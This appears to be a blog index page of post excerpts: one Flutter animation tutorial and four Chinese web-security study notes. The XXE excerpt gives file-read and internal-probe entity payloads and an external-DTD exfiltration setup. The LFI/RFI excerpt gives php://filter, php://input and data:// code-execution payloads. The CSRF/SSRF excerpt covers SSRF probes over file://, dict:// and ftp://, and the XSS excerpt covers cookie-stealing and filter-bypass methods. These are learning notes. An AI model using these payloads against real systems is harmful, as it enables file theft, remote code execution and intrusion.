Flutter动画全解(一)隐式动画——Animated系列

隐式动画——Animated系列 1.1 快速开始——AnimatedContainer //原始main.dart import 'package:flutter/material.dart'; void main() => runApp(MyApp()); class MyApp extends StatelessWidget { MyApp({Key? key}) : super(key: key); @override Widget build(BuildContext context) { return MaterialApp( home: Scaffold( body: Container( //一个普普通通的Container width: 300, height: 300, color: Colors.blue, child: const Center( child: Text("Hi", style: TextStyle( fontSize: 72, )), ), ), )); } } //使用AnimatedContainer,并传入Duration,两行代码就可以动起来! import 'package:flutter/material.dart'; void main() => runApp(const MyApp()); class MyApp extends StatelessWidget { const MyApp({Key? key}) : super(key: key); @override Widget build(BuildContext context) { return MaterialApp( home: Scaffold( body: Center( child: AnimatedContainer( //将Container换成AnimatedContainer duration: const Duration(seconds: 1), //同时加上duration参数即可 width: 300, height: 100, color: Colors....

November 1, 2021 · 3 min · alvazu

XXE

XXE简介 XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。 XML 与 HTML 的主要差异: XML 被设计为传输和存储数据,其焦点是数据的内容。 HTML 被设计用来显示数据,其焦点是数据的外观。 HTML 旨在显示信息 ,而 XML 旨在传输信息。 漏洞利用 1.提交的数据包含XML格式如: <forgot><username>admin</username></forgot> 2.请求头中如: Content-Type:text/xml或Content-type:application/xml 文件读取: <?xml version="1.0"?> <!DOCTYPE Mikasa [ <!ENTITY test SYSTEM "file:///d:/www.txt"> ]> <user><username>&test;</username><password>Mikasa</password></user> 内网探针: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY rabbit SYSTEM "http://192.168.0.103:8081/index.txt" > ]> <user><username>&rabbit;</username><password>Mikasa</password></user> 外部实体引用:(解决不回显,解决免杀拦截问题,外部引用Payload) <?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd"> %file; ]> <user><username>&send;</username><password>Mikasa</password></user> evil2.dtd <!ENTITY send SYSTEM "file:///d:/www....

October 14, 2021 · 1 min · alvazu

LFI & RFI

一个例子 $file = $_GET['filename']; include($file); //http://XXX?filename=1.jpg Local File Include 后缀限制 $file = $_GET['filename'.'.php']; include($file); 针对PHP低版本(5.2可行): %00截断 & 长度突破 针对高版本:协议利用 前提:data协议开启,allow_url_include=1; XXX.php?filename=data://text/plain,<?php%20phpinfo();?> Remote File Include 后缀限制 RFI的后缀限制突破方法:加入GET参数(也就是"?“符号)。如XXX.php?filename=http://XXX.txt?即可 协议利用 php://filter/convert.base64-encode/resource=1.txt file:///D:/phpstudy/PHPTutorial/WWW/1.txt RCE执行: php://input Post:');? data://text/plain, 思路 流程:想办法包含文件-文件来源(能不能上传) 不能上传:包含系统自身文件渗透,包含日志文件渗透 能上传:冲冲冲 RFI结合MSF-exploit/multi/script/web_delivery

October 11, 2021 · 1 min · alvazu

CSRF & SSRF

CSRF 常见套路:安装同一套CMS,通过Burp抓到添加管理员的数据包。在管理员已登录的情况下点击一个网址,通过HTML的form配合JS提交请求。 防御 同源策略 检测来源是否同一域名(referer,仍然不安全) 加入token(或者加入验证码) 每一次请求都需要一个不同的token,如果csrf使用的是与之前同一个token,那么链接失效。 突破防御 token爆破 设计逻辑错误导致token可以重复利用 SSRF 主要产生在远程请求、代下载等场景。可以端口扫描、指纹识别、内网探针、漏洞利用等。 端口扫描 通过请求http://127.0.0.1:8081查看端口是否开放,若开放则回显中会产生数据。 与nmap相比,首先nmap可能扫不出来,其次在内网攻击中,某台计算机可能不联外网,只能通过内网扫描。如ftp://192.168.46.133:21 就能返回内网ftp目录;file:///D:/www.txt利用file协议请求文件内容;dict://探测mysql等等。 如果不知道IP地址,也可以进行爆破。 其他几个案例

October 10, 2021 · 1 min · alvazu

XSS

反射XSS 提交数据后,数据被管理员查看,可以盗取其COOKIES。(xsshs.cn) 通过BEEF控制浏览器。 DOM型XSS 通过闭合JS实现XSS。 XSS分类 fooying.com/the-art-of-xss-1-introduction mXSS 被过滤的XSS Payload,因为(低版本QQ)预览分享功能被重新激活。 代码绕过 长度绕过 如length设置,用闭合方法,修改其length值; 尖括号被过滤怎么办? 改成onclick激活,避免尖括号即可。 script、onclick等关键字被过滤怎么办? 大小写修改或者,xz.aliyun.com/t/2936查看不同DOM元素的利用方法 工具 XSStrike XSS Fuzz字典 设置绕过 HTTPOnly 登录成功页面插入XSS实现长期控制

October 10, 2021 · 1 min · alvazu